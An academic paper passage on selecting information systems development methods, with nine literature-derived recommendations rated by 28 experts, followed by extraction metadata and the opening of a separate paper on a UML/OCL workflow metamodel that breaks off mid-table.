Based on such understanding, an IS user organization is able to select the most suitable ISDM for an ISD project and the most suitable IS supplier to implement the project. Some IS suppliers are unwilling to use ISDMs unfamiliar to them even if those ISDMs are widely used by other suppliers [33]. It appears risky to allow an IS supplier to select the ISDM alone for ISD cosourcing and multisourcing projects [57]. In discussions between IS user and supplier organizations regarding ISD project success metrics, IS suppliers may strongly advocate for the reliance on performance metrics (only). The argumentation is that money spent, time used and deliverables are objective, tangible and easily measurable [38]. Although the argument is true, reliance on ISD project performance success metrics alone has two major limitations. An agreement, especially a binding IS purchase contract with fixed time, money and deliverable objectives signed by the parties prior to the start of ISD project leads to the selection and use of plan-driven ISDMs without considering change-driven ISDMs. Secondly, ISD project performance metrics are seldom related to the business objectives and metrics of an ISD project and the business development behind the project, nor guarantee the achievement of business benefits [6, 45]. Reliable measurement of ISD projects’ business benefits is difficult due to the time delay between ISD development and its benefits realization as well as due to intervening factors, such as, changes in the inner and outer business circumstances. IS suppliers are seldom able to influence business benefits realization with their actions [45, 60]. Despite of these issues, we argue that an IS user organization needs to select and use ISDMs that support the achievement of business objectives set for IS and business development. To sum up, recent developments have driven IS user organizations towards new balances between outsourced and in-house ISD including incentives for back sourcing and insourcing. IS user organizations with insourcing, back sourcing, cosourcing and multisourcing ISD need to have sufficient understanding about ISDM and their selection. Sufficient understanding also helps them to avoid lock-ins and high switching costs [7, 29] and to avoid management fashions [5] in IS sourcing decisions. 2.2. Plan-driven and Change-driven ISDMs Plan-driven (e.g. waterfall) and change-driven (agile) ISDMs constitute the two extremes of ISDMs [17]. All ISDMs fall between these two extremes. Plan-driven IS and other development methods assume that it is possible to plan every aspect of development work thoroughly in advance, such as, objectives and their metrics, tasks, money and resources needed. The development starts after the planning phase is completed [49, 55]. In plan-driven methods, planning and development are typically divided into phases, such as in the waterfall method by Royce [47]. The ISD waterfall method consists of seven phases: system requirements, software requirements, analysis, program design, coding, testing and operations. Phases follow each other in a known sequential order [47]. Project management governs the execution of project phases, typically with a step-gate model. The project’s steering group has to accept the results of the previous phases at a gate (=end of the phase) before the next phase is permissioned to start. Plan-driven ISDMs are seen as mechanistic and inflexible ISD methods, and critics against them have abounded for a long time [54]. According to Larman and Basil [34], change-driven ISDMs, or “iterative and incremental development, IID” as they call them, were used already in the early 1960’s. Other well-known change-driven IID/ISDMs include prototyping and spiral models by Boehm [8, 9], and especially the various recent agile methods, such as, Scrum, Devops and Safe. In change-driven ISDMs, planning and development are done in small steps. Feedback from previous steps is also considered in the planning of the next step. An IS is built piece by piece guided by a generic overall plan. So called minimum viable product is typically the first IS version [8, 9, 55]. A paradigm shift is visible in the ISDM selections of the last 20 years. Plan-driven ISDMs dominated selections during the 1970’s, 1980’s and 1990’s, whereas the popularity of change-driven ISDMs has grown during the two recent decades and appear now as the mainstream [49, 58]. However, there is still need for plan-driven ISDMs, as well [17, 58]. The use of change-driven ISDMs underscores the importance of ISDM (selection) competence in a similar way as back sourcing does in a general way. In change-driven ISDMs, the tasks and participation of IS user organizations are wider and more active than in plan-driven (waterfall) ISDMs. IS user organizations are responsible for use cases, user stories, user testing and feedback and they participate into the daily ISD work. Some change-driven ISDMs actually resemble cosourcing and/or multisourcing ISD. Their use with the resulting ISD back sourc ing may come as an unplanned and unwanted surprise to an IS user organization having outsourced its ISD. In a previous study [33], we discovered that IS user organizations had limited knowledge about ISDMs and the likely consequences of ISDM selection and use. 2.3. Extant Recommendations of ISDM Selection Models Found in Literature With a systematic literature study [18], we found over 1000 unique scientific publications about ISDM selection. However, only 42 of them compared the selection of alternative ISDMs. Most listed ISDM selection criteria only. The number of publications with ISDM selection models was clearly lower, only 16 publications. Of them only half had original models, the rest were more or less copies and modifications of earlier models. The most complex ISDM selection model included 28 factors [3], whereas the majority of models had two or three factors [e.g. 13]. The already mentioned Boehm and Turner model [10] consisted of five factors. The most typical ISDM selection model proposed that ISDMs should be selected based on the ISD project complexity and uncertainty. Figure 1 illustrates an example [13]. <table> <thead> <tr> <th>Project Complexity</th> <th>System Life Cycle</th> <th>Mixed Method</th> </tr> </thead> <tbody> <tr> <td>Low</td> <td>Prototyping</td> <td>Prototyping</td> </tr> <tr> <td>High</td> <td></td> <td></td> </tr> </tbody> </table> Figure 1. The ISDM selection model of Burns and Dennis (1985) (System Life Cycle = plan-driven) We were unable to find empirical evaluations on the usefulness of ISDM selection criteria and/or models, or about the use experience and popularity of alternative ISDM selection models. The popularity of ISD outsourcing could be the reason for this. At the time when robust ISD practice and research based ISDM selection models were finally proposed, such as, the Boehm and Turner model in 2004, IS user organizations had lost their interest in ISD and ISDMs. In consequence, we could not use any of the ISDM selection models as a “baseline” for the empirical evaluations of our study. Instead of that, we calculated the frequencies of terms and concepts used in the ISDM selection criteria lists and models. We then added to that ISDM selection assumptions/propositions found in the 42 reviewed publications. By doing this, we were able to condense the knowledge about the ISDM selection recommendations, criteria lists and models in prior research into nine ISDM selection recommendations for empirical evaluation. More detailed tables on the ISDM selection criteria and model reviews are available in [18, 33]. The uncertainties of an ISD project outcomes is a typical selection criteria and model factor in the ISDM selection literature. Change-driven ISDMs are seen to suit better to the management of these uncertainties than plan-driven ISDMs [10, 13, 26, 32, 44, 51, 60]. Recommendation 1: High ISD project outcome uncertainties favor change-driven ISDMs. The complexity of an ISD project is an ambiguous theoretical concept. Burns and Dennis [13] and Saarinen [48] define complexity almost as a synonym for the ISD project size. On the other hand, Mathiassen and Stage [37] asked, whether ISD project uncertainty and complexity are independent or elements of the same concept. Howell et al. [25] proposed that complexity could be regarded as one element of uncertainty. The ISD project size (complexity) is often mentioned as an ISDM selection criteria or factor. Plan-driven ISDMs are seen to suit better to large ISD projects [e.g. 10, 19, 22, 36]. Recommendation 2: Large (complex) ISD project size favors plan-driven ISDMs. A typical ISD outcome-related proposition in prior research is that plan-driven ISDMs deliver higher quality ISs than change-driven ISDMs. As IS quality appeared to us as a multi-dimensional theoretical concept, we divided this concept into three different recommendations (3-5). All three recommendations follow the formulation of the generic proposition that plan-driven ISDMs deliver higher quality ISs. The first recommendation addresses the criticality of the developed IS. Criticality is understood as the amount of potential losses materializing from the impacts of IS and ISD project defects [10]. Cockburn [14] divides possible losses into the four categories: loss of comfort, loss of discretionary money, loss of irreplaceable money and loss of life. Prior research recommends the use of plan-driven ISDMs since the assumed higher systematics is seen to ensure the better fulfillment of all ISD specifications [e.g. 3, 10, 22, 25, 53]. Recommendation 3: The need to develop an IS with high criticality favors plan-driven ISDMs. The security of the developed IS is another IS quality dimension. The rationale of this recommendation is that the higher assumed systematics of plan-driven ISDMs makes it easier to develop secure ISs [e.g. 22, 23, 53]. Recommendation 4: The need to develop an IS with high security favors plan-driven ISDMs. The final IS quality recommendation deals with the maintainability of IS. Prior research proposes that plan-driven ISDMs produce more exhaustive documentation as well as better documented software code than change-driven ISDMs [e.g. 19, 22, 43]. Recommendation 5: The need to develop an IS with high maintainability favors plan-driven ISDMs. Prior research includes several ISDM selection criteria and factors related to IS developers. Several authors regard the skills and experience of an IS developer team as one of the key criteria or factors in the ISDM selection [e.g. 3, 10, 22, 56]. Change-driven ISDMs are proposed to require better skilled and proficient IS developers than plan-driven ISDMs [e.g. 3, 10, 56]. This proposition builds on the logic that the higher flexibility, adaptability and creativity of change-driven ISDMs require that IS developers have higher basic knowledge and skills [e.g. 3, 10, 22]. Recommendation 6: Reliance on lowly skilled IS developers favors plan-driven ISDMs, and reliance on highly skilled IS developers favors change-driven ISDMs. Team size is another criterion / factor related to IS developers. Prior literature proposes that change-driven ISD is possible only with small IS developer teams, whereas plan-driven ISDMs should be used with large teams [e.g. 3, 10, 19, 22, 52]. Although prior research does not provide any clear definition for the small team size, IS developer teams with more than a dozen members are no longer seen as small teams [2, 10]. Recommendation 7: Small IS developer teams favor change-driven ISDMs and large teams favor plan-driven ISDMs. ISD project communication, especially IS designers’ ability to communicate and collect feedback from business users, is regarded an essential element of change-driven ISDMs [e.g. 3, 10, 59]. Communication is seen to be closely related to IS users’ commitment [52]. Dyck and Majchrzak [19] define communication as a part of social engineering practices with relation to an organization’s co-operation culture [19]. Boehm and Turner also consider IS user organization culture [10]. Recommendation 8: Continuous interaction with IS user organization favors change-driven ISDMs, and the lack of interaction (needs) favors plan-driven ISDMs. The final recommendation captures several organizational characteristics of IS user organizations. Abrahamsson [2] and Jacobson [27] discovered that large organizations tend to prefer plan-driven ISDMs. Large organizations are more often rigid and prescriptive [27]. Ahimbisibwe et al. [3] proposed that if mechanistic and bureaucratic structures characterize an organization, then plan-driven ISDMs are preferable. Change-driven ISDMs are preferable in organizations with organic and flexible structures [3]. The culture factor of Boehm and Turner [10] suggests that in an IS user organization with many degrees of freedom change-driven ISDM should be favored. We combined these three organizational characteristics into one recommendation. Recommendation 9: The large size of an IS user organization favors plan-driven ISDMs. 3. Methodology of the Expert Interviews The interview data for this study was collected as a part of a larger study. We selected the personal face-to-face interview method for data collection. We wrote and maintained an interview protocol as advised by Yin [61] to guide interview planning and execution as well as data collection and analysis. We also kept a diary about the experiences of each interview. The interview method enables interactive synchronous communication, the asking of additional questions, the registering of body language and other social clues, which all help an interviewer and an interviewee to better understand each other [42]. Prior the interviews, we crafted several versions of the interview questions to reflect the findings of the systematic literature study [18]. The aim of crafting the interview questions was to have simple, direct and neutral questions with enough variation to get rich data [30]. We also followed the recommendations of Myers and Newman [40] and planned a clear interview drama. We conducted two rehearsal interviews and fine-tuned the interview questions, for example, added Likert scale to the nine ISDM selection recommendation questions. The fine-tuned questions were sent to four academics and two senior consultants with academic background. Another fine-tuning round was carried out to include their comments although most interview questions remained unchanged. The objective written into the case protocol was to conduct at least 20 interviews. We, however, continued interviews until nothing new emerged, that is, until data saturation was achieved. Cumulatively 31 interviews (including the two rehearsal interviews) were conducted during the spring 2016. ISDM consultants and professionals working on the borderline between IS suppliers and IS user organizations were recruited as interviewees. To have a “variety of voices” [40] interviewees were selected in cooperation with the Association for Information Systems Developers and the local Finnish Software Measurement Association. We also used “snowball sampling” by asking every interviewee to recommend a person who should be interviewed next. The interviewees had a long history in ISD projects with the average of 20 years’ experience. They had cumulatively participated into over 1000 ISD projects, knew plan-driven and change-driven ISDMs, and, with the exception of one person, they had experience of several ISD projects with both types of ISDMs. The interviews were semi-structured and standardized to better enable data analysis of collected data. An interview began with open ended questions about the interviewees’ experiences [30]. Closed, more specific questions were placed at the end of the interview [40]. Questions about the usefulness of the nine ISDM selection recommendation was the last set of questions in the interview. The challenges of an interview are to listen and understand the responses of the interviewee and, at the same time, ensure that all questions are answered within the time-frame reserved for the interview [42]. To tackle these challenges and to increase the reliability of the responses, we followed the interview method protocol developed by Dahlberg, Hokkanen and Newman [16]. During an interview, the questions were presented one by one on a screen to the interviewee, and the interviewer typed down the responses right away before moving to the next question. Typing down the responses did not disrupt the conversational nature of interviewing; instead, it gave interviewees more time to ponder their answers. The ISDM selection recommendation questions were also discussed and the comments were typed down even though the interviewees were asked to provide a Likert scale evaluation about each recommendation. Two hours were reserved for each interview since typing down the responses took slightly more time than just recording responses. Interviews were also recorded. Recordings were used to verify and complement responses. The thus verified and completed interview texts were sent to the interviewees for acceptance. Out of 31 interviewees 14 responded by returning slightly modified responses and the other 17 interviewees accepted the written interview narrative without changes. Immediate feedback from the interviewees was one of the strengths in the interview method used. As an interviewee saw all the time what was written down, (s)he was able to make corrections immediately. Both the interviewee and the interviewer saw and shared the same response text (but could still understand the meaning differently [30]). The method ensured that all interviewees verified and accepted their responses. In our opinion, the interview method proved its usefulness in our study. We interviewed experienced ISDM experts, who wish tell “war stories”. They have a lot of experience of various ISD projects, of different user and IS supplier organizations, and of several ISDMs. These facts do not, however, guarantee that they would be impartial observers. In real life projects, our interviewees follow the rules and practices of their employers. Those rules and practices could be biased to the use of particular ISDM(s). Even though we asked the interviewees to express their personal opinions and to describe their own experiences, we are unable to evaluate whether or not they behaved in this way. No documents or other sources of data were available for data triangulation. On the other hand, we were able to document why an interviewee responded the way (s)he did. The method allowed us to continue interviews until data saturation was reached since we were able to assess the saturation after each interview. 4. Results We were able to collect full sets of answers from 28 interviewees. One interviewee did not have the time for this last part of the interview, and, in the two rehearsal interviews, the relevant questions were not expressed on the Likert scale. The key findings are presented in Table 1. It shows the weights to each response alternative (agree strongly, moderately, slightly, or is neutral, or disagree slightly, moderately or strongly) and the distribution of the responses. The last columns display the weighted sums of scores for each recommendation with 28 as the theoretical minimum and 198 as the maximum and other descriptive statistics. Table 1 discloses large variations between the scores of recommendations and also in the distribution of answers to most recommendations. The only recommendation receiving strong support was the first recommendation; high ISD project outcome uncertainties favor change-driven ISDMs. The average of responses was 6; strongly agree. The sixth recommendation about the skills of IS developers received moderate support with a 4.9, moderately agree, average. One interviewee agreed fully with the sixth recommendation and stated: “someone [skilled enough] is required to produce a plan”. Another interviewee disagreed with the sixth recommendation and explained that good skills are needed also with plan-driven ISDMs: “With poor skills you should not start at all”. Table 1. ISDM experts’ evaluations about the usefulness of recommendations in ISDM selection models <table> <thead> <tr> <th>Recommendation</th> <th>Agree Strongly (w=7)</th> <th>Agree Moderately (w=6)</th> <th>Agree Slightly (w=5)</th> <th>Undecided (w=4)</th> <th>Disagree Slightly (w=3)</th> <th>Disagree (w=2)</th> <th>Disagree Strongly (w=1)</th> <th>Sums with weights</th> <th>Average</th> <th>Std. deviation</th> </tr> </thead> <tbody> <tr> <td>Recommendation 1: High ISD project outcome uncertainties favor change-driven ISDMs</td> <td>14</td> <td>12</td> <td>2</td> <td>0</td> <td>0</td> <td>0</td> <td>180</td> <td>6,43</td> <td>0,63</td> <td></td> </tr> <tr> <td>Recommendation 2: Large (complex) ISD project size favors plan-driven ISDMs</td> <td>1</td> <td>4</td> <td>9</td> <td>0</td> <td>3</td> <td>7</td> <td>4</td> <td>103</td> <td>3,68</td> <td>1,91</td> </tr> <tr> <td>Recommendation 3: The need to develop an IS with high criticality favors plan-driven ISDMs</td> <td>0</td> <td>7</td> <td>4</td> <td>0</td> <td>5</td> <td>6</td> <td>6</td> <td>95</td> <td>3,39</td> <td>1,97</td> </tr> <tr> <td>Recommendation 4: The need to develop an IS with high security favors plan-driven ISDMs</td> <td>0</td> <td>2</td> <td>5</td> <td>3</td> <td>6</td> <td>7</td> <td>5</td> <td>86</td> <td>3,07</td> <td>1,59</td> </tr> <tr> <td>Recommendation 5: The need to develop an IS with high maintainability favors plan-driven ISDMs</td> <td>0</td> <td>1</td> <td>5</td> <td>1</td> <td>4</td> <td>10</td> <td>7</td> <td>74</td> <td>2,64</td> <td>1,54</td> </tr> <tr> <td>Recommendation 6: Reliance on lowly skilled IS developers favors plan-driven ISDMs and …</td> <td>7</td> <td>9</td> <td>2</td> <td>2</td> <td>2</td> <td>5</td> <td>1</td> <td>138</td> <td>4,93</td> <td>2</td> </tr> <tr> <td>Recommendation 7: Small IS developer teams favor change-driven ISDMs and …</td> <td>2</td> <td>6</td> <td>5</td> <td>0</td> <td>2</td> <td>9</td> <td>4</td> <td>103</td> <td>3,68</td> <td>2,09</td> </tr> <tr> <td>Recommendation 8: Continuous interaction with IS user organization favors change-driven ISDMs, …</td> <td>1</td> <td>8</td> <td>5</td> <td>1</td> <td>7</td> <td>4</td> <td>2</td> <td>115</td> <td>4,11</td> <td>1,79</td> </tr> <tr> <td>Recommendation 9: The large size of an IS user organization favors plan-driven ISDMs</td> <td>0</td> <td>1</td> <td>5</td> <td>0</td> <td>6</td> <td>10</td> <td>6</td> <td>75</td> <td>2,68</td> <td>1,49</td> </tr> </tbody> </table> As a whole, the interviewed ISDM experts perceived the usefulness of the ISDM selection frameworks’ recommendations low and disagreed with most recommendations. The averages of responses to recommendations 5 (IS maintainability favors plan-driven ISDMs) and 9 (large size of organizations favors plan-driven ISDMs) were 2.7, which is close to the middle of disagree strongly and disagree slightly. Also, the averages of the remaining recommendations were on the disagree-side with averages between 3.1 and 3.7, and with the exception of recommendations 8 with a 4.1 average. When discussing the high maintainability need of ISs, several interviewees explained that high IS maintainability is possible to achieve both with plan-driven and change-driven ISDMs. One interviewee stated: “No method forces you do poor quality work”. The interviewees stressed the prioritization of ISD objectives in their evaluations of recommendations 3, 4 and 5 (the three dimensions of IS quality). The tone of the interviewees was the following: if the criticality, security and/or maintainability of an IS to be developed are highly important, then such objectives should be prioritized. Prioritized objectives are achievable with both types of ISDMs, especially if suitable technology and architecture are selected to support the achievement of criticality, security and maintainability. In their critical comments to the recommendation number nine (9), some interviewees commented that large IS user organizations might be rigid and slow to change and also bureaucratic. That, however, does not mean that change-driven ISDMs could not be used in them, or that it is possible to execute all ISD projects successfully with plan-driven ISDMs. According to the majority of interviewees, the rigidity to change is easy to use as an excuse for not considering change-driven ISDMs. The discussion regarding the recommendation number two (2) (complexity of ISD project) and seven (7) (large ISD project) developer team) was rather similar. Some interviewees agreed with these recommendations, whereas other interviewees explained that large and complex ISD projects and large IS developer teams are always a problem. A few interviewees claimed that with the Safe (Scaled Agile Framework) ISDM, change-driven ISD could be scaled to large IS development teams and complex ISD projects. The recommendation number eight (8) produced the widest distribution of opinions. Those who disagreed with the recommendation commented that the lack of interaction and communication will eventually create problems. One interviewee coined this: “Regardless of the method, there will be problems”. A few interviewees saw little value in plan-driven ISDMs and favored strongly change-driven ISDMs. One of them encapsulated this: “You have to plan, but it doesn’t mean that you should use plan-driven ISDMs”. Most interviewees discussed hybrid methods, i.e., the combination of plan-driven and change-driven ISDMs, even though there was no interview question about hybrid methods. In summary, based on the ISDM expert interviews, the usefulness of investigated extant ISDM selection recommendations were perceived low and the findings of ISDM selection research outdated. A good question is: how to augment the usefulness of ISDM selection models and their recommendations. 5. Discussion and Conclusions In this article, we condensed the knowledge of ISDM selection criteria lists, ISDM selection model factors and the related ISDM selection propositions into nine well-defined ISDM selection recommendations. None of these recommendations addressed the characteristics of business development. In our opinion, this a serious limitation in the ISDM selection research, especially in contexts where ISD is closely linked to business development. The purpose of ISD work is to support business development. This is our answer to the two research question outlined in the Introduction Section. In our opinion, these nine recommendations capture well the extant knowledge base of the ISDM selection research. It is, however, necessary to point out that the ISDM selection research has used various theories and theoretical concepts and combined them with practical ISD experiences. It is also necessary to point out that we were unable to detect a dominant ISDM selection criteria list or an ISDM selection model although we regard the model of Boehm and Turner [10] the best-known model. Due to this situation, it is possible that we have made mistakes in condensing the knowledge into the nine recommendations. Nevertheless, we have done our best to show how the recommendations were created and condensed from prior research. We asked 28 ISDM experts to evaluate the usefulness of the nine ISDM selection recommendations on the Likert scale and also express verbally what they thought about the recommendations. With the exception of two recommendations, the interviewees perceived the usefulness of literature based ISDM selection recommendation low. According to these two highly evaluated recommendations, plan-driven ISDMs should be used when the competences of IS developers are low, and change-driven ISDMs when the uncertainties of ISD project outcomes are high and/or the competences of IS developers are high. This is our response to the second research question. It was a surprise to us that the ISDM experts were so critical towards the extant ISDM selection recommendations of prior research. Based on this, it appears to us that both the findings of ISDM selection research and the related knowledge base are severely outdated. The development and maturing of change-driven ISDMs during the recent years and the changes in the role of IS, ISD and ISDMs appear as potential reasons behind this finding. Consequently, there is a clear need for enhanced ISDM selection models and ISDM selection recommendations. We propose that the usefulness of ISDM selection models and related recommendations can best be augmented by combining the characteristics of IS and business development. This proposition means that the characteristics of ISDM(s) selected and used need to match with the characteristics of the business development methods selected and used and vice versa. This is an amenable venue of future research. Based on the systematic literature study and the ISDM expert interviews, we have conducted also other studies. In one prior study [18], we proposed a new ISDM selection framework that matches the characteristics of ISDMs with the characteristics of business development contexts. In doing so, we combined the theoretical basis of ISDM research with business development and organization theory research. We also interviewed the 31 ISDM experts about the dimensions and the factors of the new ISDM selection model and about the usefulness of the approach and the entire framework. Of the 31 interviewees, 28 supported partially or fully the usefulness claim of the approach and the framework whereas three experts disagreed. The development of ISDM recommendations from this framework or similar studies is another possible venue for future research. The present research could also be repeated in organizations where ISD is insourced. The proliferation of ISD back sourcing, cosourcing and multisourcing were discussed in the two first Sections of this article. Our advice to practitioners, especially to IS user organizations, is to ensure in these cases that they acquire enough competences so that they are able to understand sufficiently the possibilities and limitations of the most typical ISDMs to make ISDM decisions from business benefits perspective and to execute plan-driven and/or change-driven ISD projects. ISDM selection has been a neglected research area during the past 15 years. Our advice to researchers is to investigate ISDMs again, and not only as an ISD issue, but as a business development issue. With our article, we contribute to this research by condensing the knowledge of ISDM selection research into well-defined recommendations, by probing the perceived usefulness of these recommendations empirically, and by suggesting how to augment them. References
{"Source-Url": "https://scholarspace.manoa.hawaii.edu/bitstream/10125/60132/1/0692.pdf", "len_cl100k_base": 9078, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 44352, "total-output-tokens": 10847, "length": "2e13", "weborganizer": {"__label__adult": 0.00043129920959472656, "__label__art_design": 0.0004138946533203125, "__label__crime_law": 0.0004351139068603515, "__label__education_jobs": 0.007175445556640625, "__label__entertainment": 6.514787673950195e-05, "__label__fashion_beauty": 0.0002130270004272461, "__label__finance_business": 0.0035381317138671875, "__label__food_dining": 0.0004086494445800781, "__label__games": 0.0005555152893066406, "__label__hardware": 0.0007104873657226562, "__label__health": 0.0005230903625488281, "__label__history": 0.0003266334533691406, "__label__home_hobbies": 0.00011110305786132812, "__label__industrial": 0.0006051063537597656, "__label__literature": 0.0003604888916015625, "__label__politics": 0.00041294097900390625, "__label__religion": 0.0004134178161621094, "__label__science_tech": 0.01132965087890625, "__label__social_life": 0.00012695789337158203, "__label__software": 0.006885528564453125, "__label__software_dev": 0.9638671875, "__label__sports_fitness": 0.00027489662170410156, "__label__transportation": 0.0006198883056640625, "__label__travel": 0.0002386569976806641}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47769, 0.02838]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47769, 0.07898]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47769, 0.9513]], "google_gemma-3-12b-it_contains_pii": [[0, 4013, false], [4013, 9422, null], [9422, 15016, null], [15016, 20324, null], [20324, 25651, null], [25651, 31065, null], [31065, 36998, null], [36998, 42148, null], [42148, 47769, null], [47769, 47769, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4013, true], [4013, 9422, null], [9422, 15016, null], [15016, 20324, null], [20324, 25651, null], [25651, 31065, null], [31065, 36998, null], [36998, 42148, null], [42148, 47769, null], [47769, 47769, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47769, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47769, null]], "pdf_page_numbers": [[0, 4013, 1], [4013, 9422, 2], [9422, 15016, 3], [15016, 20324, 4], [20324, 25651, 5], [25651, 31065, 6], [31065, 36998, 7], [36998, 42148, 8], [42148, 47769, 9], [47769, 47769, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47769, 0.11194]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
9e4b017b927e99a173f273b057a697a5d27dfa70
Abstract—In this paper, we present a UML metamodel-based approach for creating and executing workflow models. The workflow modeling language is introduced through its abstract syntax, and an evaluation shows how this language supports known workflow patterns. Some patterns can be expressed easier compared to established languages like EPCs or BPMN. Organizational and data aspects in workflow models can be described on the basis of the presented metamodel. The workflow models can be instantiated and executed with a tool realizing parts of the UML action semantics. At an early stage of design, our workflow models can be evaluated by testing scenarios with the used tool in combination with the developed workflow plugin. Employing the tool, dynamic aspects of the workflow process models together with data and organizational aspects can be evaluated. During execution of the workflow scenarios, the workflow models can be adaptively changed, and data can be captured and evaluated by formulating process mining queries with UML’s OCL (Object Constraint Language). Keywords: Business process models, Business process metamodels, Workflow execution, Unified Modeling Language, Model Validation. I. INTRODUCTION Business process modeling gets more and more important with the increasing complexity and automation of business processes in companies and organizations. Business process models are used to document, restructure and optimize the processes. Furthermore, requirements for software and computer services that support the business processes are captured in these models. Nowadays flow oriented languages are frequently used for business process modeling like Event-driven Process Chains (EPC), UML activity diagrams and BPMN. These are languages based on Petri net token semantics which may restrict developers too much since they are following the principle “all executions paths are forbidden if they are not allowed in the model” [2]. Besides, the well-accepted workflow patterns are driven by Petri net token semantics. In contrast, declarative workflow models have a flexible background driven by design principles. That means, all execution paths are allowed if they are not explicitly forbidden. This declarative view is followed in this paper. Compared to a Petri net-like modeling language, our work is an alternative possibility to express the workflow patterns in a declarative way with a metamodel based modeling approach using UML and OCL. In our view, this is a new direction in the context of workflow languages. There are several graph- or block oriented languages like UML activity diagrams [21] or BPEL [22] that are checked against the workflow patterns, but no language uses a declarative foundation to express them and to check declaratively formulated properties. The literature provides many metamodels for business process modeling. Some of them are used for conceptual modeling to define elements of the workflow language and their interrelations [18, 14]. These metamodels can be further used to implement modeling tools [10]. The approach presented in this paper uses a UML metamodel along with the tool USE [9]. USE checks static properties of the workflow models during the modeling process by observation of OCL invariants. The modeler gets quick feedback as identified problems and the involved modeling elements are immediately indicated. There are even more benefits to UML workflow metamodels with respect to dynamic properties. They provide means to define execution semantics. OCL invariants are used for system states and pre- and postconditions for operations. They describe the causal or temporal relationships between the modeling elements. During execution of the workflow model, the execution semantics is interpreted and disallowed flows of a process are forbidden. Furthermore, enabled activities can be identified and a worklist visualization is possible. In our approach, a workflow plugin is implemented for the USE tool that presents the activities and the corresponding execution states in an appropriate way. The user can interact with the workflow plugin. Related data objects are presented to the user so that scenarios can be played through by the user interacting with the tool. Thus, the integrated workflow and data models can be tested before system implementation and the workflow models can be validated at an early design state. It is also possible to test and compare different organizational models and configurations. Such comparison can be achieved by instantiating multiple workflows which are then tested in varying contexts. Resource management is another important aspect. In our approach resources are allocated during the workflow execution. The shortness of particular resources may be identified in the system animation. Our workflow models are flexible in two ways. On the one hand they are flexible by design because of the declarative modeling perspective. On the other hand the process instances can be adaptively changed during runtime to support a flexible change principle. The models are executed within the modeling environment that also includes the runtime environment by the USE tool. The process instance can be changed in the modeling environment during runtime. The adaptive changes do not take place in a distributed Workflow Management System like for example in [15]. The process instance is presented in the same modeling environment known from the design time. The process instances are enriched with execution data like for example timing information. During the execution of the workflow the time aspect is captured by the workflow plugin and is stored as meta-data of the process instance. After or even during the execution the USE tool provides an interface to state OCL queries for process mining purposes. Thus, USE provides a powerful mechanism to explore properties of the execution data of the workflows. The rest of this article is structured as follows. In section II the metamodel is introduced. OCL is used to express the semantics of the metamodel elements. In section III the metamodel is applied to model an example workflow with the USE tool and with its abstract syntax. Data and organizational aspects of the workflow are also captured in the model. In section IV the execution of the workflow models is presented. Running processes and activities are shown to the user in a specialized workflow view. Section V discusses related work while section VI concludes the paper. II. METAMODEL FOR WORKFLOWS The workflow metamodel is the basis to define the control flow perspective where activities and the causal or temporal interrelations are expressed. In subsection A the metamodel for the control flow perspective is introduced as a UML class diagram enhanced with OCL invariants. Further on, an analysis is given how the workflow patterns [1] are supported. In subsection B the metamodel is enhanced with a data perspective by introducing data flows and queries. Subsection C introduces the metamodel for organizational modeling and connection to the activities. A. Capturing the Control Flow in the Metamodel Figure 1 shows the main workflow metamodel. It has been extended in comparison to the version presented in [6] and supports now all 20 workflow patterns [1]. Classes Activity and Iteration are an integral part of the metamodel. Figure 2 is showing the related object lifecycles as UML state diagrams. OCL invariants are used to define the semantics of the modeling elements. The used states of the state machines of Figure 2 are defined in the enumeration State in Figure 1. Calling the operations provided by the classes Activity, Cancel, CancelProcess and IterationGroup, object states change according to the state diagrams of Figure 2. The transitions of the state diagrams are implemented by OCL pre- and post conditions. For example the precondition of the start() operation requires the object to be in the state waiting. Its postcondition consequently assures that the state has changed to running. To allow Figure 1: Workflow metamodel model execution, operations are implemented using the ASSL [9] language. ASSL provides commands for realizing main parts of the UML action semantics. It is a scripting language that is interpreted by USE. Note that not all operations that change object states have to be assigned to its class. For example the class IterationGroup can initiate another iteration with the operation nextIteration(). This resets all included activities to the state waiting and stores the execution data of the last iteration to a new group linked via the association archive. Class Activity itself does not directly provide an accessor for resetting its instances’ state. Class Iteration state diagram differs from the previous Activity’s as new iterations can be started after one is finished without resetting the activity. If an Iteration object is in the state running and the operation finish is called new iteration cycles can be started by calling start again. The behavior of Iteration is described more deeply in [6]. The class FlowObject has a reflexive association called seq to define the sequence relationship (WCP1). The semantics of the seq association is defined in an OCL invariant of the class Activity. It says: If an Activity is in the state running, all its predecessor activities connected via the role pred of the association seq have to be done or skipped [6]. <table> <thead> <tr> <th>Workflow Pattern (WCP)</th> <th>Expression in the metamodel approach</th> </tr> </thead> <tbody> <tr> <td>1. Sequence</td> <td>Expressed with the seq association and OCL invariant in class Activity (see [6])</td> </tr> <tr> <td>2. Parallel Split</td> <td>Expressed with AndOperator and seq association like pictured in Figure 3</td> </tr> <tr> <td>3. Synchronisation</td> <td>Expressed with AndOperator and seq association analogue to Figure 3</td> </tr> <tr> <td>4. Exclusive Choice</td> <td>Expressed with XorDecision like described in [6]</td> </tr> <tr> <td>5. Simple Merge</td> <td>Expressed with MergeOperator like pictured in Figure 